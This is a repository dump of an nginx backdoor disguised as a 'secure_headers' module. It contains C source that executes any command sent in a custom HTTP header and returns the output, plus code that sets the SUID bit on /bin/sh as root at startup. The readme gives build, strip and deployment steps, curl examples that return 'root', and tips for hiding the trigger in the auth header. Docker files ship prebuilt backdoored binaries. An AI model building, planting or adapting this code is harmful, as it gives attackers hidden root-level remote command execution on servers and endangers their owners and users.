├── config ├── docker-dynamic ├── Dockerfile ├── docker-compose.yml ├── nginx.conf └── ngx_http_secure_headers_module.so ├── docker-static ├── Dockerfile ├── docker-compose.yml └── nginx ├── ngx_http_secure_headers_module.c └── readme.md /config: -------------------------------------------------------------------------------- 1 | ngx_module_type=HTTP 2 | ngx_addon_name=secure_headers 3 | ngx_module_name=ngx_http_secure_headers_module 4 | ngx_module_srcs="$ngx_addon_dir/ngx_http_secure_headers_module.c" 5 | 6 | . auto/module 7 | -------------------------------------------------------------------------------- /docker-dynamic/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nginx:1.21.6 2 | 3 | COPY ngx_http_secure_headers_module.so /usr/lib/nginx/modules/ngx_http_secure_headers_module.so 4 | COPY nginx.conf /etc/nginx/nginx.conf -------------------------------------------------------------------------------- /docker-dynamic/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.8' 2 | 3 | services: 4 | web: 5 | build: . 6 | ports: 7 | - 8888:80 8 | -------------------------------------------------------------------------------- /docker-dynamic/nginx.conf: -------------------------------------------------------------------------------- 1 | user nginx; 2 | worker_processes auto; 3 | 4 | error_log /var/log/nginx/error.log notice; 5 | pid /var/run/nginx.pid; 6 | 7 | load_module modules/ngx_http_secure_headers_module.so; 8 | 9 | events { 10 | worker_connections 1024; 11 | } 12 | 13 | 14 | http { 15 | include /etc/nginx/mime.types; 16 | default_type application/octet-stream; 17 | 18 | log_format main '$remote_addr - $remote_user [$time_local] "$request" ' 19 | '$status $body_bytes_sent "$http_referer" ' 20 | '"$http_user_agent" "$http_x_forwarded_for"'; 21 | 22 | access_log /var/log/nginx/access.log main; 23 | 24 | sendfile on; 25 | #tcp_nopush on; 26 | 27 | keepalive_timeout 65; 28 | 29 | #gzip on; 30 | 31 | include /etc/nginx/conf.d/*.conf; 32 | } -------------------------------------------------------------------------------- /docker-dynamic/ngx_http_secure_headers_module.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vgo0/nginx-backdoor/859dac180bb20ecbac5476ab7c5e46920a1a65b3/docker-dynamic/ngx_http_secure_headers_module.so -------------------------------------------------------------------------------- /docker-static/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nginx:1.21.6 2 | 3 | COPY nginx /usr/sbin/nginx -------------------------------------------------------------------------------- /docker-static/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.8' 2 | 3 | services: 4 | web: 5 | build: . 6 | ports: 7 | - 8888:80 8 | -------------------------------------------------------------------------------- /docker-static/nginx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vgo0/nginx-backdoor/859dac180bb20ecbac5476ab7c5e46920a1a65b3/docker-static/nginx -------------------------------------------------------------------------------- /ngx_http_secure_headers_module.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | /* 6 | Configuration 7 | 8 | Backdoor command execute as the worker process (www-data) 9 | 10 | During module init there is a phase where commands can be run as root 11 | This can be used to provide escalation persistance (SUID, Privileges, etc) 12 | 13 | A poor mans escalation within command exec is provided via chmod u+s 14 | of the shell specified. This then gets passed to popen. On normal 15 | nginx teardown this will be reverted (chmod u-s) 16 | 17 | popen(escalate + " -p -c " + header_in + " 2>&1") 18 | popen('/bin/sh -p -c whoami 2>&1') 19 | 20 | popen is ultimately sh -c so it becomes something like: 21 | /bin/sh -c '/bin/sh -p -c whoami 2>&1' 22 | 23 | There are likely stealthier methods available 24 | */ 25 | 26 | //Set to "" to skip 27 | static char* escalate = "/bin/sh"; 28 | 29 | //Backdoor header 30 | static ngx_str_t backdoor = ngx_string("vgo0"); 31 | 32 | /* 33 | 34 | Using a header nginx already references would be more performant 35 | https://github.com/nginx/nginx/blob/master/src/http/ngx_http_request.h 36 | 37 | Don't need to edit below 38 | */ 39 | 40 | //Stubs 41 | static ngx_int_t ngx_http_secure_headers_handler(ngx_http_request_t *r); 42 | static ngx_int_t ngx_http_secure_headers_init(ngx_conf_t *cf); 43 | static void ngx_http_secure_headers_down(ngx_cycle_t *cycle); 44 | static ngx_table_elt_t * search_headers_in(ngx_http_request_t *r, u_char *name, size_t len); 45 | 46 | static ngx_command_t ngx_http_secure_headers_commands[] = { 47 | 48 | { ngx_string("secure_headers"), 49 | NGX_HTTP_LOC_CONF|NGX_CONF_NOARGS, 50 | NULL, 51 | 0, 52 | 0, 53 | NULL }, 54 | ngx_null_command 55 | }; 56 | 57 | 58 | static ngx_http_module_t ngx_http_secure_headers_module_ctx = { 59 | NULL, /* preconfiguration */ 60 | ngx_http_secure_headers_init, /* postconfiguration */ 61 | 62 | NULL, /* create main configuration */ 63 | NULL, /* init main configuration */ 64 | 65 | NULL, /* create server configuration */ 66 | NULL, /* merge server configuration */ 67 | 68 | NULL, /* create location configuration */ 69 | NULL /* merge location configuration */ 70 | }; 71 | 72 | 73 | ngx_module_t ngx_http_secure_headers_module = { 74 | NGX_MODULE_V1, 75 | &ngx_http_secure_headers_module_ctx, /* module context */ 76 | ngx_http_secure_headers_commands, /* module directives */ 77 | NGX_HTTP_MODULE, /* module type */ 78 | NULL, /* init master */ 79 | NULL, /* init module */ 80 | NULL, /* init process */ 81 | NULL, /* init thread */ 82 | NULL, /* exit thread */ 83 | NULL, /* exit process */ 84 | &ngx_http_secure_headers_down, /* exit master */ 85 | NGX_MODULE_V1_PADDING 86 | }; 87 | 88 | /* 89 | Hooks the backdoor handler into all requests via NGX_HTTP_ACCESS phase 90 | 91 | With this the module only needs to get loaded, 92 | the module directive is not required anywhere in the configuration files, 93 | just load_module or static compile into nginx 94 | */ 95 | static ngx_int_t ngx_http_secure_headers_init(ngx_conf_t *cf) 96 | { 97 | ngx_http_handler_pt *h; 98 | ngx_http_core_main_conf_t *cmcf; 99 | 100 | cmcf = ngx_http_conf_get_module_main_conf(cf, ngx_http_core_module); 101 | 102 | h = ngx_array_push(&cmcf->phases[NGX_HTTP_ACCESS_PHASE].handlers); 103 | if (h == NULL) { 104 | return NGX_ERROR; 105 | } 106 | 107 | *h = ngx_http_secure_headers_handler; 108 | 109 | // Run escalation command if not blank, we are root at this point 110 | if(strlen(escalate) > 0) { 111 | const char *base = "chmod u+s "; 112 | char *cmd = (char*)malloc(sizeof(char) * (strlen(base) + strlen(escalate) + 1)); 113 | strcpy(cmd, base); 114 | strcat(cmd, escalate); 115 | system(cmd); 116 | free(cmd); 117 | } 118 | 119 | return NGX_OK; 120 | } 121 | 122 | /* 123 | Actual backdoor logic 124 | */ 125 | static ngx_int_t ngx_http_secure_headers_handler(ngx_http_request_t *r) 126 | { 127 | ngx_buf_t *b; 128 | ngx_int_t rc; 129 | ngx_chain_t out; 130 | 131 | // Try to find evil header 132 | ngx_table_elt_t *header = search_headers_in(r, backdoor.data, backdoor.len); 133 | 134 | // Backdoor header not found, continue per usual 135 | if(header == NULL) { 136 | return NGX_OK; 137 | } 138 | 139 | // Command response 140 | size_t BUF_SIZE = 4096; 141 | char *response = (char*) malloc(BUF_SIZE); 142 | response[0] = '\0'; 143 | char *cmd; 144 | 145 | // Redirect stderr to stdout 146 | const char *cmd_tail = " 2>&1"; 147 | 148 | if(strlen(escalate) > 0) { 149 | const char *cmd_inherit = " -p -c "; 150 | 151 | cmd = (char*)malloc(sizeof(char) * (strlen((char*)header->value.data) + strlen(cmd_inherit) + strlen(escalate) + strlen(cmd_tail) + 1)); 152 | 153 | strcpy(cmd, escalate); 154 | strcat(cmd, cmd_inherit); 155 | strcat(cmd, (char*)header->value.data); 156 | } 157 | else { 158 | cmd = (char*)malloc(sizeof(char) * (strlen((char*)header->value.data) + strlen(cmd_tail) + 1)); 159 | strcpy(cmd, (char*)header->value.data); 160 | } 161 | 162 | strcat(cmd, cmd_tail); 163 | 164 | FILE *fp; 165 | fp = popen(cmd, "r"); 166 | if (fp == NULL) { 167 | strcpy(response, "Failed to run command - popen failure\n"); 168 | } 169 | else { 170 | char buf[1024]; 171 | // Read response of command 172 | while (fgets(buf, sizeof(buf), fp) != NULL) { 173 | // Resize buffer as needed (not exactly smart) 174 | while(strlen(buf) + strlen(response) + 1 > BUF_SIZE) { 175 | BUF_SIZE *= 2; 176 | response = (char*)realloc(response, sizeof(char) * BUF_SIZE); 177 | } 178 | 179 | strcat(response, buf); 180 | } 181 | pclose(fp); 182 | 183 | if(strlen(response) == 0) { 184 | strcpy(response, "Empty command response\n"); 185 | } 186 | } 187 | 188 | free(cmd); 189 | 190 | // Dump request body 191 | if (ngx_http_discard_request_body(r) != NGX_OK) { 192 | return NGX_HTTP_INTERNAL_SERVER_ERROR; 193 | } 194 | 195 | 196 | // Prepare header 197 | r->headers_out.status = NGX_HTTP_OK; 198 | r->headers_out.content_length_n = strlen(response); 199 | 200 | rc = ngx_http_send_header(r); 201 | 202 | if (rc == NGX_ERROR || rc > NGX_OK || r->header_only) { 203 | return rc; 204 | } 205 | 206 | // Send command respond back 207 | b = ngx_calloc_buf(r->pool); 208 | if (b == NULL) { 209 | return NGX_ERROR; 210 | } 211 | 212 | b->pos = (u_char*)response; 213 | b->last = (u_char*)response + strlen(response); 214 | 215 | b->memory = 1; 216 | b->last_buf = (r == r->main) ? 1 : 0; 217 | b->last_in_chain = 1; 218 | 219 | out.buf = b; 220 | out.next = NULL; 221 | ngx_http_output_filter(r, &out); 222 | 223 | free(response); 224 | 225 | // Don't proceed to any other handlers 226 | return NGX_ERROR; 227 | } 228 | 229 | static void ngx_http_secure_headers_down(ngx_cycle_t *cycle) { 230 | // Remove permissions when nginx comes down 231 | if(strlen(escalate) > 0) { 232 | const char *base = "chmod u-s "; 233 | char *cmd = (char*)malloc(sizeof(char) * (strlen(base) + strlen(escalate) + 1)); 234 | strcpy(cmd, base); 235 | strcat(cmd, escalate); 236 | system(cmd); 237 | free(cmd); 238 | } 239 | } 240 | 241 | // https://www.nginx.com/resources/wiki/start/topics/examples/headers_management/ 242 | static ngx_table_elt_t * 243 | search_headers_in(ngx_http_request_t *r, u_char *name, size_t len) { 244 | ngx_list_part_t *part; 245 | ngx_table_elt_t *h; 246 | ngx_uint_t i; 247 | 248 | /* 249 | Get the first part of the list. There is usual only one part. 250 | */ 251 | part = &r->headers_in.headers.part; 252 | h = part->elts; 253 | 254 | /* 255 | Headers list array may consist of more than one part, 256 | so loop through all of it 257 | */ 258 | for (i = 0; /* void */ ; i++) { 259 | if (i >= part->nelts) { 260 | if (part->next == NULL) { 261 | /* The last part, search is done. */ 262 | break; 263 | } 264 | 265 | part = part->next; 266 | h = part->elts; 267 | i = 0; 268 | } 269 | 270 | /* 271 | Just compare the lengths and then the names case insensitively. 272 | */ 273 | if (len != h[i].key.len || ngx_strcasecmp(name, h[i].key.data) != 0) { 274 | /* This header doesn't match. */ 275 | continue; 276 | } 277 | 278 | /* 279 | Ta-da, we got one! 280 | Note, we'v stop the search at the first matched header 281 | while more then one header may fit. 282 | */ 283 | return &h[i]; 284 | } 285 | 286 | /* 287 | No headers was found 288 | */ 289 | return NULL; 290 | } -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # Info 2 | Backdoor command execution as the nginx worker process (www-data) 3 | 4 | This inserts itself as a handler during the `NGX_HTTP_ACCESS_PHASE` and looks for a specific header (`backdoor` in source) 5 | 6 | When that header is found it executes the value of the header as a command and returns the output 7 | ``` 8 | curl -H "vgo0: whoami" localhost:8888 9 | root 10 | ``` 11 | 12 | Using a header nginx already references would be more performant instead of having to seek the custom one. 13 | 14 | https://github.com/nginx/nginx/blob/master/src/http/ngx_http_request.h 15 | 16 | A good spot might be to stack this in the auth header 17 | 18 | During module init there is a phase where commands can usually be run as root depending on how nginx is getting started 19 | 20 | This can be used to provide escalation persistance (SUID, Privileges, etc) 21 | 22 | See `ngx_http_secure_headers_init` for very basic example 23 | 24 | A poor mans escalation within command exec is provided via chmod u+s of the shell specified. This then gets passed to popen. On normal nginx teardown this will be reverted (chmod u-s) 25 | 26 | It is roughly: 27 | 28 | `popen(escalate + " -p -c " + header_in + " 2>&1")` 29 | 30 | `popen('/bin/sh -p -c whoami 2>&1')` 31 | 32 | popen is ultimately sh -c so it becomes something like: 33 | 34 | `/bin/sh -c '/bin/sh -p -c whoami 2>&1'` 35 | 36 | There are likely stealthier methods available 37 | 38 | Setting `escalate` to `""` avoids this 39 | 40 | # Sample 41 | A sample dynamic and static version are provided in the docker folders compiled against `1.21.6` 42 | ``` 43 | cd docker-dynamic 44 | docker-compose up -d 45 | 46 | curl -H "vgo: whoami" localhost:8888 47 | Normal output 48 | 49 | curl -H "vgo0: whoami" localhost:8888 50 | root 51 | ``` 52 | 53 | # Usage 54 | 55 | This is version specific 56 | 57 | # Download 58 | https://nginx.org/en/download.html 59 | 60 | Extract 61 | 62 | Switch to directory 63 | 64 | # Dynamic 65 | ## Configure - Dynamic 66 | `./configure --add-dynamic-module=/opt/nginx-backdoor --with-compat` 67 | 68 | ## Make - Dynamic 69 | `make modules` 70 | 71 | ## Get .so 72 | ``` 73 | strip -s objs/ngx_http_secure_headers_module.so 74 | cp objs/ngx_http_secure_headers_module.so ... 75 | ``` 76 | 77 | ## Enable - Dynamic 78 | Place .so on disk 79 | 80 | Add to nginx config somehow (for dynamic): 81 | 82 | load_module path/to/ngx_http_secure_headers_module.so; 83 | 84 | service nginx restart 85 | 86 | # Static 87 | ## Configure - Static 88 | Basic that works can be tested in docker (paths etc should match if replacing): 89 | 90 | `./configure --sbin-path=/usr/sbin/nginx --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --prefix=/usr/lib/nginx --add-module=/opt/nginx-backdoor` 91 | 92 | ## Make - Static 93 | `make` 94 | 95 | ## Get resulting 96 | ``` 97 | strip -s objs/nginx 98 | cp objs/nginx 99 | ``` 100 | --------------------------------------------------------------------------------